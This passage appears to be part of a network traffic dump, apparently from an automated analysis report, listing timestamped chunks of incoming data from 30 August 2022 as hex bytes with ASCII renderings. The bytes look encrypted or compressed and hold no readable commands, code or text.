2022-08-30 13:55:00 UTC	125	IN	Data Raw: c5 76 73 80 c6 d4 94 99 15 9d 17 f8 b6 a2 e5 2a f6 34 10 55 1f 89 35 a4 ed 7a 1c 93 ff e1 52 a6 e4 d9 ef eb 4d 21 df 94 ec c8 f1 ff e3 29 26 79 48 a5 db 69 4a 86 fb a4 ab f1 4e 57 ca bc 82 05 39 18 52 34 85 90 c5 b5 82 57 7c ea 3f b7 4d 80 99 55 e3 6b 2e 2b e8 ee 2a 62 aa f2 49 f0 1a e5 31 8e 47 93 12 df 12 26 fe 2e f5 a9 1f df 6d 25 e8 d1 1b b7 f6 69 3f ff 15 9c 27 d8 53 ac 18 8d b5 51 36 5d 32 d8 51 9c c9 ff 1f da ba 76 bb 76 b7 7a c4 c5 a9 75 b7 b0 f8 69 3b 30 29 9b 93 db 14 a4 dd 1a 57 4f 88 c3 23 8b 5d 26 74 67 18 74 36 08 7b bb d3 93 6b 75 e1 fe 10 53 19 8f 6c 6f ac 7f 4d dc 90 9f 9d 40 8d 40 d4 5e 35 a3 0b 14 bb 43 5f 76 1b 41 2f 33 3e ab 6a ad a0 6d 60 ed 12 6c 92 23 95 a4 3b 96 60 0d 92 bf b7 ac bd b1 6d 02 ae 96 70 ba cc 05 69 b6 5f 74 82 b8 7b Data Ascii: vs4U5zRM!)&yHiJNW9R4W\|?MUk.+bI1G&.m%i?'SQ6]2Qvvzui;0)WO#]&tgt6{kuSloM@@^5C_vA/3>jm`l#;`mpi_t{
2022-08-30 13:55:00 UTC	129	IN	Data Raw: ed 30 76 69 62 97 62 e2 d9 59 64 d2 e8 e7 b1 fc a5 6a c7 15 b7 49 09 3a 75 73 5d a6 fb 7f e7 43 2a 9a 5b 44 05 81 ad 09 1a 97 4f 67 b8 f4 02 eb 30 71 f5 6b 3b 22 eb 9e d0 e8 c8 c3 fe 33 d2 11 2c c3 84 69 29 08 e7 ee e7 0b a2 65 2b 40 87 c3 80 9a 97 ac 81 42 2d 72 5b 0a ac a6 02 08 0a a6 c6 64 12 37 42 6c d0 14 aa f4 d0 87 2e 91 d5 4e 0e e4 2d 98 dc 2e e5 6b d7 39 96 88 5b 1b d7 24 c2 c2 5c 1c af 04 ce b3 7e e8 55 1d a7 95 96 ab 21 c7 ee 00 12 36 51 79 ab e6 90 be c6 0d ce 0a 48 a4 1d 13 5c e8 d8 1e 78 4b 36 a4 e9 f9 cd 83 e5 47 8e 6c a4 29 c8 6b f9 d7 5c 2c 14 10 5f 8a 47 b8 12 03 92 5f 71 bf 7e df 84 36 18 ce 43 2b 07 a9 c4 ca 47 c3 fb 11 05 66 67 87 8a aa c9 25 0a e7 d8 25 ea a0 9d 91 dd 8f 4c c7 4c 25 54 1f 5c e4 d2 ae 18 9c d9 1f ac 7e cc 72 cb c0 07 Data Ascii: 0vibbYdjI:us]C*[DOg0qk;"3,i)e+@B-r[d7Bl.N-.k9[$\~U!6QyH\xK6Gl)k\,_G_q~6C+Gfg%%LL%T\~r
2022-08-30 13:55:00 UTC	132	IN	Data Raw: c8 6f fe fe 43 15 9b 01 18 c3 b0 6e a3 aa 31 56 cf 80 a6 82 e6 64 6a 2d 6f 30 0e 80 46 9d 64 e8 65 ae c7 0f e2 7e e9 f7 64 82 aa 16 3e 6a ce 4b f7 72 5a d4 e7 69 26 2a a5 37 39 4c 81 e3 66 3a 7e 42 5e 2a 76 0a b9 ea 18 3b f7 68 27 c1 2d b7 58 23 25 ac e2 a2 61 28 a0 74 72 0b 2d 9c f6 37 69 b6 d5 13 21 6c 61 eb ec 66 22 26 1a 14 ad e1 2d e2 69 29 28 a0 e2 ee cc 97 10 e3 fb 1b b2 7a fa af 2d d9 fe 52 c9 84 e2 ce fa 54 64 2b ef 89 08 78 19 ec c9 7e 3e e7 f0 39 2a e4 f2 b5 5d 15 af e1 64 6e 62 e9 26 a9 a7 22 f7 b3 20 8c 6b d0 39 6a 87 1c 0e a2 78 cb 2e ab 2d ee e8 a9 e0 be 3c 60 76 ba 7f 6c f9 c2 0d 1d df e4 ec a0 2c 60 66 2b a4 71 bd e0 eb f2 a5 77 b9 b1 c0 bd c3 b2 1d 0e 7b 9c d2 82 7b 56 b1 94 03 01 80 6a cd 16 f1 74 70 d3 7f 34 ef 14 1c 97 ed 0f 08 8c 23 Data Ascii: oCn1Vdj-o0Fde~d>jKrZi&79Lf:~B^v;h'-X#%a(tr-7i!laf"&-i)(z-RTd+x~>9*]dnb&" k9jx.-<`vl,`f+qw{{Vjtp4#
2022-08-30 13:55:00 UTC	136	IN	Data Raw: f3 de 5d c1 37 4f f0 f0 38 d5 54 e1 f3 63 3c cf f7 ee a4 23 e8 4e b0 a7 38 ec 4d 1f 23 29 30 9d f7 c5 a5 87 e9 e3 64 85 22 54 6b 09 95 d2 ff b8 e0 0e 5e 97 a3 f6 2b a6 e1 e4 29 ee e9 cf bb d3 f5 77 d9 6a 37 09 af 61 cb cb 57 52 a1 e4 a8 e5 76 12 2a fb c2 5d 6c b6 d2 24 a4 1e 3e 1d 26 21 12 06 6b 94 99 8c c5 68 bc 0e 15 2c 17 22 c1 a3 6d 1f 99 4d 9b 58 6a db 2d 6f e2 e3 de eb 61 7c a6 43 34 5a 57 f8 68 a5 1e d0 60 5e 97 60 5e b3 a7 29 c0 75 ce da 50 54 69 3a 3c ef 19 66 c6 79 61 d4 79 41 91 14 d3 0b 5a c7 9d 8f 36 f7 b9 50 46 fc 6a 5a c3 73 65 2c b4 07 d1 b9 2f 75 e7 bd 7e 0d 8b e6 74 07 9c 24 f0 f2 27 24 e8 2e ec b5 46 9e fb 43 0e 5f 35 d0 0d c7 ad 45 d5 fa 4a 61 73 a7 c8 38 ac a3 28 6e 23 04 0a 58 f2 4a 70 34 0e 90 9b 3e 46 d4 35 2f d9 2e 56 12 9c 51 8d Data Ascii: ]7O8Tc<#N8M#)0d"Tk^+)wj7aWRv*]l$>&!kh,"mMXj-oa\|C4ZWh`^`^)uPTi:<fyayAZ6PFjZse,/u~t$'$.FC_5EJas8(n#XJp4>F5/.VQ
2022-08-30 13:55:00 UTC	140	IN	Data Raw: 2c 8a ce 67 88 c6 04 b0 34 0c 2c b4 fe 60 e0 2b 2c 6a 1d 57 ad 0d c6 e1 17 5e ae 63 94 99 0d 30 ce ba 6b c3 6b c0 d5 1a 52 e8 58 26 9e 4c f4 e1 5b 0d 3c bc f6 ed e7 81 0c 9e cc 96 4c 69 f7 35 1f dd 67 29 dc ea ab 07 3d 11 1f 72 8b 0a 38 1a 0c ba 14 73 8b 3e f5 41 0c a1 df 99 ed 18 b4 81 b8 fe e7 67 24 d0 59 83 4b b9 36 2d ac b0 fe 9e 06 3d 6e d3 dd ab 6d 9d 25 a6 94 38 2d b2 2c 94 36 05 61 37 3d 38 7f 00 fd d3 6b cf c4 28 6e 72 ef bb 63 cf 4e 33 e2 27 44 ed 92 35 f9 4c 1e 76 3f 73 ff 0b 4a b8 d7 f3 ca fd da 30 cf 01 5d b3 70 e8 7a c8 1d 5b 92 11 9f a9 26 a7 ef f8 25 85 58 6a 60 a9 26 8f 47 ee c3 0c a1 6a a8 25 73 3f a1 e8 2a c8 4d ee ea 33 70 e8 62 1a d7 e9 27 08 40 7c 70 e8 22 50 dc ef 62 a2 69 a9 26 a3 eb 7e d5 05 ae 6a 2e 67 ae a7 67 ee 64 e8 5a a2 d7 Data Ascii: ,g4,`+,jW^c0kkRX&L[<Li5g)=r8s>Ag$YK6-=nm%8-,6a7=8k(nrcN3'D5Lv?sJ0]pz[&%Xj`&Gj%s?*M3pb'@\|p"Pbi&~j.ggdZ
2022-08-30 13:55:00 UTC	144	IN	Data Raw: 51 fc 81 f0 55 59 1f 3f fa 2c a7 d9 c3 59 43 dd b6 5a 7e 5f df 9e e3 b3 90 42 6a 2c 18 29 6f 6d d2 98 ef d1 8b 46 09 de 53 47 91 e9 c3 2b 2f 0b b6 0a 92 d3 14 96 04 02 ef d7 54 bc 07 06 f2 bd 89 4a 0f 41 a4 a9 db 78 27 aa 98 2d 17 df 53 06 96 b8 11 d1 7c 96 0b 96 0e c7 01 3a 94 Data Ascii: QUY?,YCZ~_Bj,)omFSG+/TJAx'-S\|:
2022-08-30 13:55:00 UTC	144	IN	Data Raw: da 9e 53 1e f5 b3 2d f7 c2 e3 e6 db 63 58 28 a2 06 de a0 2d e4 d1 32 2e 7c f2 fa c6 79 3d 5d b2 a9 c7 e6 a9 25 38 76 6a 4c 18 bd 16 a7 9a 2c b2 c2 b3 66 a2 1a 7e e7 5b 95 99 52 a2 52 51 a4 43 ec 0a 2e 23 6e a0 69 e1 85 c9 02 cb c7 00 d9 07 c9 14 a1 16 db d5 26 4a b8 e1 c4 ed 9b b4 22 62 99 59 e5 5e d5 e7 69 cb 85 3c 49 52 8d 5e 4f 6a bf 73 ba 04 65 65 79 17 88 7a 9b d3 19 d4 f8 c3 e1 da 03 6f b2 de e7 16 22 d3 18 d5 92 ec 14 71 9b 4a 79 27 09 a7 74 3e 48 e0 4c 82 25 ec ae a5 73 c6 0c 72 65 b7 59 0b 53 eb de 26 78 80 92 b5 49 1b 7b cb 9b b4 3b 8b 4d ee d4 9c 22 60 1f 1d a2 b9 e9 d6 ab 25 00 6b 66 bc 8d 64 9a 7f be f9 00 9d 00 2c 0d ac 02 09 79 3f 43 e8 48 f2 35 28 64 20 e7 eb 63 cf 8f 23 a5 b4 06 15 78 73 12 16 35 e1 b8 fe d1 8a 33 97 c0 b2 b1 2a 17 d8 15 Data Ascii: S-cX(-2.\|y=]%8vjL,f~[RRQC.#ni&J"bY^i<IR^Ojseeyzo"qJy't>HL%sreYS&xI{;M"`%kfd,y?CH5(d c#xs53*
2022-08-30 13:55:00 UTC	149	IN	Data Raw: a9 f0 ba 73 79 b8 fd 2e 35 7f 19 25 16 c1 37 5d 23 f6 a3 34 27 52 49 41 9d 22 63 ad c1 98 8f 10 3b 8c 9a 19 f7 cf fa fb a5 df 51 14 6a c2 f5 9a 43 3d 63 ac 54 b4 73 15 4c 03 ad 61 69 93 de 81 50 39 56 5a d4 19 c9 05 a1 69 b3 2d 60 7a 70 fe 2b ce 81 04 3a 62 af 5d ac 1e dc a0 06 3a 96 ae 99 16 6c 7a 79 2c 50 16 21 47 cc 68 a4 f3 bb 2e f0 37 ba 35 2e d8 94 a3 65 69 98 46 b8 cd 0a f4 c4 a1 12 ab 27 ae eb b3 b5 e6 29 a3 53 d3 ab e7 4a c4 05 8a 5f 51 11 79 3a d2 03 cd 4c d9 3d 1e d0 2e e1 3c 7f 23 7e b8 d3 25 db 2d a5 66 4b 0c 18 d7 66 fa 72 6e a2 81 ed c5 3f 7d e3 92 d8 63 6e ce 2a c4 e3 ae 10 db a5 7b 30 a0 4b 45 6c f3 b1 ae e1 a1 d2 14 eb 2e 67 26 e7 27 e3 26 e7 23 e2 b3 79 64 9a 16 7d 32 ae 30 d2 c6 72 35 a8 c0 cd 9c 63 5d e2 65 2d 7b 52 bc 90 69 e2 93 19 Data Ascii: sy.5%7]#4'RIA"c;QjC=cTsLaiP9VZi-`zp+:b]:lzy,P!Gh.75.eiF')SJ_Qy:L=.<#~%-fKfrn?}cn*{0KEl.g&'&#yd}20r5c]e-{Ri
2022-08-30 13:55:00 UTC	152	IN	Data Raw: 27 ca e2 4a f0 a0 b0 ec c0 a4 07 ca c6 d4 d3 b4 f2 9e 11 a3 ee 93 9f 1a c8 77 26 b5 75 eb 20 0a 4a e1 b1 f4 43 84 6f 8d 0f e2 a7 e7 63 27 a3 2a dc 52 d6 ea dc f0 31 ef 75 cc dc ee 27 e2 18 dd 2c 6a d2 18 23 28 99 1c 25 21 92 ee dd 37 fa 26 44 c8 a2 e9 e6 3b b6 e0 7d 33 24 23 65 e9 75 2f b3 3c 7a 90 da 66 ac a7 15 12 92 22 c2 0c d5 6d d7 04 87 02 e6 0d c4 6e 3c e8 46 93 d6 0f ad d2 d0 aa 1e 2c a7 95 a7 0c fa 90 74 0d b2 8b 78 f7 d4 b1 86 28 94 41 fd 24 d6 19 a1 3a f7 6a 64 a9 a8 d2 11 e8 e5 a9 2c a9 cf 40 ff 5a 91 d4 d1 f4 d9 27 62 94 22 77 37 7a 85 d3 e6 8b 44 a2 9c 81 6c a3 82 4f 56 98 76 1e db 94 41 3a a1 17 6e 14 5e e7 4f 7e 72 d9 4e b4 fe 94 56 69 c1 37 4c cf d6 5c 55 41 4c 59 1f a4 ea e1 cc 82 d3 1e 8e c0 cc 83 d2 0c 36 01 4f 6d d5 f5 1f bb e5 e7 03 Data Ascii: 'Jw&u JCoc'*R1u',j#(%!7&D;}3$#eu/<zf"mn<F,tx(A$:jd,@Z'b"w7zDlOVvA:n^O~rNVi7L\UALY6Om
2022-08-30 13:55:00 UTC	155	IN	Data Raw: 54 35 19 13 0c 6a a7 fc 8c 96 ef c3 7d 99 6a ab ae e6 a4 62 6e 21 2c 6c 2a a7 7e 63 93 cb 2f 76 aa 52 07 1f c2 70 25 77 ae 16 47 ef dd e0 fa 45 66 29 03 4a a7 2b c9 c9 af 4c 05 62 8d 58 3b 62 a2 0a 44 39 d7 58 b3 e1 08 5b f4 07 db 6b 7a 6a 8e 97 7e e8 4d d6 13 a3 ca 2f 5b 77 5e f8 4c fa d2 10 2c 55 8c 33 df a2 2f 2a a6 a3 32 f3 f9 c4 d6 ae 22 40 cc e5 a9 6e 2b 5c 5f dc f8 c5 22 9c 29 3b b5 a2 22 39 69 c5 b8 ba af fb 74 df 9e 67 fd 65 72 2f d4 e5 da e6 20 c5 56 1f 86 6f d3 53 62 ee ac e0 a7 03 06 ee 6a 44 45 a6 2b 57 92 a2 e6 6b bf 06 de ec 6e 36 dd 37 c1 be ea ae fb 14 da 04 59 fc 14 44 86 81 55 6b 19 10 dc 24 ac ec ea 5b 5c 85 8f cf cf d2 7b fe 07 bc 2f 26 f4 8a b3 31 94 50 1a 6f 66 be b3 1f d4 d4 1f 68 a5 4a 87 a9 ef 60 26 aa 66 ba 9e 83 85 ea 55 b8 ec Data Ascii: T5j}jbn!,l~c/vRp%wGEf)J+LbX;bD9X[kzj~M/[w^L,U3/2"@n+\_");"9itger/ VoSbjDE+Wkn67YDUk$[\{/&1PofhJ`&fU
2022-08-30 13:55:00 UTC	160	IN	Data Raw: f2 76 a1 c4 29 66 a4 fd 3c b7 67 4a 9b f9 44 d5 aa 94 9e 9b 3b 3f 9f 61 49 b3 9b 5c 64 62 ac 51 2b a6 22 20 11 73 c5 64 6a df 40 a5 52 04 21 90 65 58 55 19 eb 29 eb 5e 83 f3 2b b2 0e d4 3c 4a 3e c4 71 32 64 aa 3d f2 68 a7 92 d8 ef 76 be a0 34 fe 6d c0 0d a7 f2 3c 69 01 5b 5d 20 80 dc 1f 2f 55 df da ed 55 ce 05 dd bd 66 06 96 48 cd 18 73 17 c8 f0 9c 06 ed 24 44 3b d2 ed 62 1f 65 58 50 92 ff 12 3c da 05 be 1c 20 cb 69 8a cb 99 bc 6f 67 d8 c8 c9 1d a6 16 2e 6c f7 11 9a 2d a1 7f bb a7 f2 da 44 f0 9c 65 43 b1 17 d0 13 d9 1a d5 65 da 97 5c 9a eb 82 1f 7b 21 17 da 17 d5 18 b9 66 e6 32 d8 1b f1 6a 16 83 9d 90 2f 41 dd 39 6d ab f7 d2 07 ad 60 e2 2b e7 2a ee 1b 5e 26 6b 7f 39 25 fb 31 a9 ea 3b 39 ed af 83 1e 53 46 ab c0 85 66 4e a9 08 2f 90 c6 f8 54 f8 e7 6a 4b 66 Data Ascii: v)f<gJD;?aI\dbQ+" sdj@R!eXU)^+<J>q2d=hv4m<i[] /UUfHs$D;beXP< iog.l-DeCe\{!f2j/A9m`+*^&k9%1;9SFfN/TjKf
2022-08-30 13:55:00 UTC	161	IN	Data Raw: 21 a8 0e 08 af 02 b7 0a ba 7f 5f c2 3e b3 59 6b e6 94 a7 2f b2 43 1c dd 10 f2 97 2a c9 86 3c d9 3c b1 7e b0 41 f3 5b 3c 99 c3 62 2a 0b 8d a8 71 e5 6a 5d 08 64 af 24 6b 1e d6 d5 a7 b0 84 21 e2 47 e8 87 e0 69 a7 a4 a1 27 20 6d a1 cd 96 f9 35 4f e5 17 fd 83 af 3b 00 a7 02 6f c5 a8 6a f0 d5 1d 39 e6 01 09 2f 13 06 40 90 ca 02 d2 1a b2 f9 e2 b4 3c 2e 70 62 3e 15 61 12 73 8c 0e 01 97 eb 4d 8b c7 00 4f 9f bb 64 b8 48 55 f5 a6 37 1f ba 89 27 ab 76 ba 2e f7 2b 08 80 3e a5 a0 2a b3 7b f5 6f 7a d4 13 e4 2d ef 51 e8 f3 21 0a b4 e8 b0 ae 56 07 32 fe 24 0f 80 22 3a 60 69 5c 98 e8 3e 5e 9d 3c 07 48 cb 72 f4 13 85 16 bb 66 f3 eb bf 35 29 b5 38 51 4f a2 6b 7d fb fb 86 2a cb f3 bd 2f f4 ba e2 19 d7 eb a5 58 1e e6 2b de 1b c5 94 b8 59 64 49 ba 9f 6b e9 ba 02 26 f0 b9 e5 ea Data Ascii: !_>Yk/C<<~A[<bqj]d$k!Gi' m5O;oj9/@<.pb>asMOdHU7'v.+>{oz-Q!V2$":`i\>^<Hrf5)8QOk}/X+YdIk&
2022-08-30 13:55:00 UTC	165	IN	Data Raw: 10 29 15 5b 73 8c 5d f6 d4 54 b0 7c 72 b6 f0 69 a1 63 a9 4e 0d 22 ec 51 65 5e e9 88 42 20 cf 21 a7 ec 41 59 fb c2 f2 7f 8a 8d a2 ef 27 89 ac 09 f8 70 05 0b 4c ae 29 2d bd 1b 94 de 8e fb df 06 d4 32 39 26 b6 f9 c4 dc 6c f9 d4 55 d0 4a 7e cd 99 8e a1 28 a7 e0 1a c3 a6 f8 ed 47 24 2e 27 0e b7 06 ea fe 2e b2 72 a0 e1 c9 70 52 2e 65 29 57 5f 82 4b 9b 56 91 2f 33 0d dd 79 0f d7 5a 6a a8 e1 eb 32 36 ea 32 85 b5 31 15 d6 ab da a8 d2 d3 19 47 c5 4d 53 bb 60 5c 92 34 d0 b6 1b 5a a2 0a d2 e7 04 b8 30 bd 4a 22 cd a4 4b 94 1c 6e a1 f9 a2 f7 d9 ae 59 be 3e bd 30 63 e9 d7 82 f5 5d 18 6a 93 1c dd 0e 12 f4 80 bb 27 17 34 84 2a a2 0c f0 f2 43 25 a8 ee 7b cb 0c b2 d3 c0 9b 88 d3 19 89 4a 3d db 43 e2 2b 9c 9b 1b ea d2 29 65 e8 27 52 9f 1f 0d 38 6c 36 04 91 1b d4 e2 ef 2f 6a Data Ascii: )[s]T\|ricN"Qe^B !AY'pL)-29&lUJ~(G$.'.rpR.e)W_KV/3yZj2621GMS`\4Z0J"KnY>0c]j'4*C%{J=C+)e'R8l6/j
2022-08-30 13:55:00 UTC	167	IN	Data Raw: cc 8b 4f 24 02 66 49 2d b0 13 61 30 39 11 97 89 fc 52 cf 0a 37 99 c4 ee 41 08 c5 4d 89 21 8a 7f 35 e4 b3 3a aa 2b a8 49 4f 99 5d df dc 05 81 15 ce 32 ab 1a da 93 ea ec 5d de 26 9a 90 99 12 5b 6e a2 1d c5 9d c8 6c 81 12 d7 40 34 a7 35 a9 42 cb 54 6c 02 72 86 75 e0 9d 21 66 eb 20 84 39 31 4e ae 66 ac 48 d3 7a 77 37 da 11 85 8d bb 24 fb fb f4 8c 94 41 df 32 e1 dc 89 0e 2c e3 fa de c2 e8 61 ce 6e a7 0a ac 5c 2e 9f db fb 4b fb 17 e3 62 c4 f4 70 67 08 af 35 c3 a6 2f 0d cb 2b 1f b3 b5 d3 69 55 8b da 3b 43 d1 3b d2 1f eb cd 58 fd da 9f d8 04 bd e9 da 9b dc 14 2e 17 4d 7e d9 2f 1f 17 4f 03 ee 0a f5 86 a9 9c 9b c5 e0 aa 48 c4 66 06 78 7c ca fe f6 be 2e de be 19 a5 63 cf 91 f5 cb 39 a6 c2 d4 5d 7d b0 74 98 90 6e 2c 74 3e e3 af 2e d6 c0 90 85 cb c9 fc dc c2 d4 1a 1b Data Ascii: O$fI-a09R7AM!5:+IO]2]&[nl@45BTlru!f 91NfHzw7$A2,an\.Kbpg5/+iU;C;X.M~/OHfx\|.c9]}tn,t>.
2022-08-30 13:55:00 UTC	171	IN	Data Raw: 9d b8 21 ba d4 7f 9b 70 39 64 84 44 ea ba ff ec 5d 5d 79 f9 a5 2b 77 b1 f8 35 44 fa e9 a8 dd e8 fe ca 9d a7 f0 34 69 66 c1 4c 71 3e 69 e6 77 fb 6a 01 da 21 f3 a1 f5 3e e3 2f f2 6e 30 91 5d e7 01 e7 0c c3 3a 86 76 b2 7a 4f fa 77 3c a6 16 41 eb 43 6a 4f 6d 81 5c a7 1e d4 1a a4 ec 4a 0a b4 7c ad b5 37 9f 92 1e d4 e6 5b 51 6e 19 24 1f e4 43 c9 86 d7 3d 97 6a 58 33 7d 8c 3e 96 58 a0 be 46 d3 1b b2 f7 6d 61 bb d2 49 5c 17 a0 6d 8b 36 13 5b fb 84 65 2a d3 a5 94 b1 94 43 e6 23 2e eb f6 26 93 45 d2 55 39 c1 fb 03 24 2b 4e 40 25 6a 22 ea 44 1b 7e fd 23 f7 b9 77 3e ff 31 b0 7e cf 55 e4 1f 92 e1 14 69 62 e1 d6 e5 ea 2c cc ac dc b5 1e b2 d7 b2 08 85 fe b6 dd e1 3c d2 18 54 70 6b b2 fc 5b 19 ab 33 8b fd 4d e3 d9 d5 e7 8f 36 c4 2a d5 cd 1d 93 ac 4b 50 45 99 38 f0 a6 bf Data Ascii: !p9dD]]y+w5D4ifLq>iwj!>/n0]:vzOw<ACjOm\J\|7[Qn$C=jX3}>XFmaI\m6[eC#.&EU9$+N@%j"D~#w>1~Uib,<Tpk[3M6KPE8
2022-08-30 13:55:00 UTC	175	IN	Data Raw: de 1e e7 71 43 84 fd 68 7b be 76 a6 04 04 70 69 8a b4 50 62 11 04 7a 65 56 99 f9 41 db 63 a5 78 0f 32 4a 66 85 99 4c 8b ad 6b 76 4a 8c 6f af 6a b1 ee 13 49 a2 da 19 b7 72 6e a5 68 5b 92 a6 6d a3 9c 53 63 a8 6a a0 6b a8 63 f0 6a c5 99 67 4b c3 d7 39 85 6b d3 82 b3 da eb d8 d4 42 c3 d3 7f b7 6b da 12 ac cb 54 cf 50 65 10 98 1e c0 a1 d2 e0 38 db 1b 68 20 2a 19 dc 72 67 d2 37 8a 1e 38 6a f5 db 4e b8 96 c6 5b 5b 2d 8f 4f 90 90 7f 7f 2a ae 12 4f 7b 25 ed 3b 0e 1d ed 5d 93 95 9e 1a e1 79 91 78 1a c2 b7 7a 35 e8 86 52 bb 62 a2 62 af f2 37 0a cf 16 d6 62 ae 3e c7 88 6e 7c ac 6e 65 9b 27 f3 8a 62 ab 6b a6 bd 71 ca 8a 76 35 5f 03 fb 1d d2 b0 b8 7f 89 89 ae 53 96 aa 66 3a fe 03 d8 04 ca 96 4e 73 a8 a7 c9 07 bb 62 75 6d 8e 9d 75 b8 77 ba a3 f4 6c c8 a6 d4 6f a6 39 90 Data Ascii: qCh{vpiPbzeVAcx2JfLkvJojIrnh[mScjkcjgK9kBkTPe8h rg78jN[[-OO{%;]yxz5Rbb7b>n\|ne'bkqv5_Sf:Nsbumuwlo9
2022-08-30 13:55:00 UTC	179	IN	Data Raw: d8 d1 a6 1a 1b 6b 2f 53 13 6f d7 0f c5 2d 13 eb a7 6f db 03 d2 0b ae 07 c1 2e 8d c6 9e 86 6d 7a 94 da e1 64 d4 a7 e1 df 8f 01 22 97 b7 4c 21 69 19 29 25 ab 64 12 6b 26 19 a7 36 03 27 ea 37 71 35 fb 69 c4 84 4a 1e 3e a2 ea eb 6b 2f 5b 1b 6f d3 0b 6c 19 07 a3 eb 8c 18 a7 d8 5f 91 Data Ascii: k/So-o.mzd"L!i)%dk&6'7q5iJ>k/[ol_
2022-08-30 13:55:00 UTC	179	IN	Data Raw: 49 ea 02 49 4f ed c9 94 a7 16 ec 5d 5a 36 ff 5b 13 05 73 f3 0e 22 57 df b2 49 51 2f 3c f0 b6 32 ee c7 8b 93 58 3f 9f d9 4f 0c 7a e5 a7 e3 ab 65 7e b6 51 07 3e e3 da c7 fe ae 3e 35 68 36 bf 72 36 a6 3a 39 69 3b b0 e9 e0 24 6b f3 84 80 b2 ea b4 f8 26 bd 7b ac 36 3f 6b e7 5c 59 67 23 28 e5 68 28 2a a5 e1 62 94 a8 51 e6 19 56 a6 6a a7 e0 02 76 54 cc 48 a6 e2 82 c4 a4 36 36 42 e2 c9 e5 b7 fb 23 4c 0a ac f1 5d 7c 9c 66 af d7 07 34 a4 f9 5e 99 fa c6 70 d4 a3 a5 dd 39 02 b5 f2 42 f2 da 62 21 3c 1c bb 9d 82 43 cc f2 6a 57 d3 1e 65 1d d0 27 ea a7 0c 44 fb b3 22 9b 3a b8 2c 06 b9 2b eb 64 eb be 59 cf e5 6f c7 18 2d e7 d2 63 87 26 18 51 a2 28 c9 7f 6d 57 e1 f1 78 62 28 0b 91 af 18 cc 3c 30 ac f1 d2 5e 7e 2a e4 16 5d 21 5f 5d 2e 6f c3 cb bb a7 51 c8 3f 9d 01 a6 62 af Data Ascii: IIO]Z6[s"WIQ/<2X?Oze~Q>>5h6r6:9i;$k&{6?k\Yg#(h(bQVjvTH66B#L]\|f4^p9Bb!<CjWe'D":,+dYo-c&Q(mWxb(<0^~]!_].oQ?b
2022-08-30 13:55:00 UTC	183	IN	Data Raw: 07 62 0f 40 ae 05 ea cb e7 b1 e1 c1 d9 8a 50 d5 48 a6 24 ae 77 a3 1c 04 72 b1 22 e9 63 da 8d b1 e2 de d6 86 48 bc 77 62 69 3d fa 26 5d 1e ac 2f 92 0e d0 87 b1 ab 5b fa 17 ea 68 a7 25 0d be 27 2b be 4c 6e c5 b7 23 46 d2 85 b3 e5 eb b4 25 b1 d3 66 06 d1 52 9f 9c ee b3 a3 9b 06 bb 93 8b 28 e6 6d f8 92 70 5e 3c 7b a0 a6 ff a3 77 8b 96 43 8e 7b ec 21 42 4e a8 b2 7f db d9 2b c7 8f a3 6e a3 6a 2c 3b 7e b1 fc d9 54 b9 48 b6 5b b9 75 b8 72 7a 37 d0 48 bf 9b 4b 6c 65 a5 c5 08 67 4d cf 37 47 8a 7f e8 25 62 65 22 e2 45 22 1f aa 93 5e 93 84 69 a7 c1 14 5e 4c e9 cd 59 7a b3 6f 37 e1 8c 46 43 4b 4d 77 d0 d1 44 87 7d 47 a7 a9 23 4c 5f b3 25 83 8c e1 34 0c 78 e8 5a ac d1 66 06 9c 95 2b 4b 63 c6 2b 93 16 4b 90 dd 42 fb 7a 7b b3 9c 34 e4 8a bd 7a 4b de 33 66 2a eb 49 86 a4 Data Ascii: b@PH$wr"cHwbi=&]/[h%'+Ln#F%fR(mp^<{wC{!BN+nj,;~TH[urz7HKlegM7G%be"E"^i^LYzo7FCKMwD}G#L_%4xZf+Kc+KBz{4zK3f*I
2022-08-30 13:55:00 UTC	185	IN	Data Raw: 65 53 9e 27 e6 13 fc c7 59 1f af 62 a0 e0 a0 e8 a6 b2 90 59 3f 2d b5 3b e5 9f 95 ef e9 e1 50 00 ee 42 07 6b 2c 31 1e dd db 73 18 b7 7f 6b 96 69 10 0f db 23 4f fb 8b 12 85 1c 81 f9 65 0b d7 98 75 d8 94 db fd 6a 26 63 fd 29 4e 48 ac 23 93 0c 33 e1 28 10 5f 1e 98 00 b7 fb 1a 92 47 14 d2 74 b7 65 b4 b6 6e a2 17 14 f8 29 24 c5 81 af 62 76 90 99 96 71 1e b2 f0 e7 a7 3b 24 0d b3 19 e0 aa f6 b4 2c 01 c8 e7 42 22 87 e5 c0 8a 2a 07 da 0c 97 f8 79 a2 f4 2c f1 e1 5f 15 fc 32 1f d5 26 47 8e 9b 6b d0 26 e7 70 fa cf 02 e6 6a 87 c9 ec 1e bb 22 4e 1f c4 fe 24 2a e9 65 e6 2a b2 fc cc 81 d1 6d bf 10 b7 81 42 0e df 93 46 0a dc 7b 4c 87 cb 04 48 83 cf 08 af 35 a9 b6 6c 34 ef 6d 18 82 0a c6 a6 6a 24 2d 6f e3 22 aa 12 58 6b aa e4 e1 dd 93 b7 0e c3 f9 dd 85 c5 15 ac e9 dd 8e ce Data Ascii: eS'YbY?-;PBk,1ski#Oeuj&c)NH#3(_Gten)$bvq;$,B"y,_2&Gk&pj"N$e*mBF{LH5l4mj$-o"Xk
2022-08-30 13:55:00 UTC	190	IN	Data Raw: 35 e2 cc 20 19 46 20 e9 73 2c ee 3d 03 a9 4c ea de 75 84 2e e6 4b c6 2a 2e 93 c7 92 56 d2 76 1a 24 94 fe 4e 87 51 ea 2c f3 8e 72 40 ab d2 13 55 db f5 44 12 db 78 cd 97 41 18 fa 72 9b 96 5c 31 e4 f8 2d 61 2b 0e 15 e0 70 ee e0 8e af aa 90 0a 2c 1e e0 8e cc 21 8c ae cc dd a7 1d 90 d0 e3 96 1f ed 67 af 93 3e bc 09 37 02 ab 15 9c ef 42 6f 5e 86 1f 10 82 6c 32 6a ab aa be 6d 31 72 20 64 52 3d 1c a0 b5 1a c3 cd e0 be 37 e0 45 18 29 85 a3 16 b1 ae e6 4c 99 e3 19 34 06 8c 01 e5 2c 15 bc 8c 61 b8 c4 1a 76 bc 2a bc e2 f1 5c 1a af 2e 97 5b 52 57 3f 8f 16 cb 21 fc 53 86 16 43 d6 52 ee 12 db 2f 96 eb 19 18 a5 66 04 fe fa 13 76 d4 ca 7b 94 1a 86 18 ff 32 b7 29 c7 89 5e 47 18 71 a0 cc 8b 91 72 fa 68 e0 86 ff 9a 1d 4c dc 05 8d 45 40 8d 6b aa a2 1a 12 01 6c e4 29 17 a9 1c Data Ascii: 5 F s,=Lu.K.Vv$NQ,r@UDxAr\1-a+p,!g>7Bo^l2jm1r 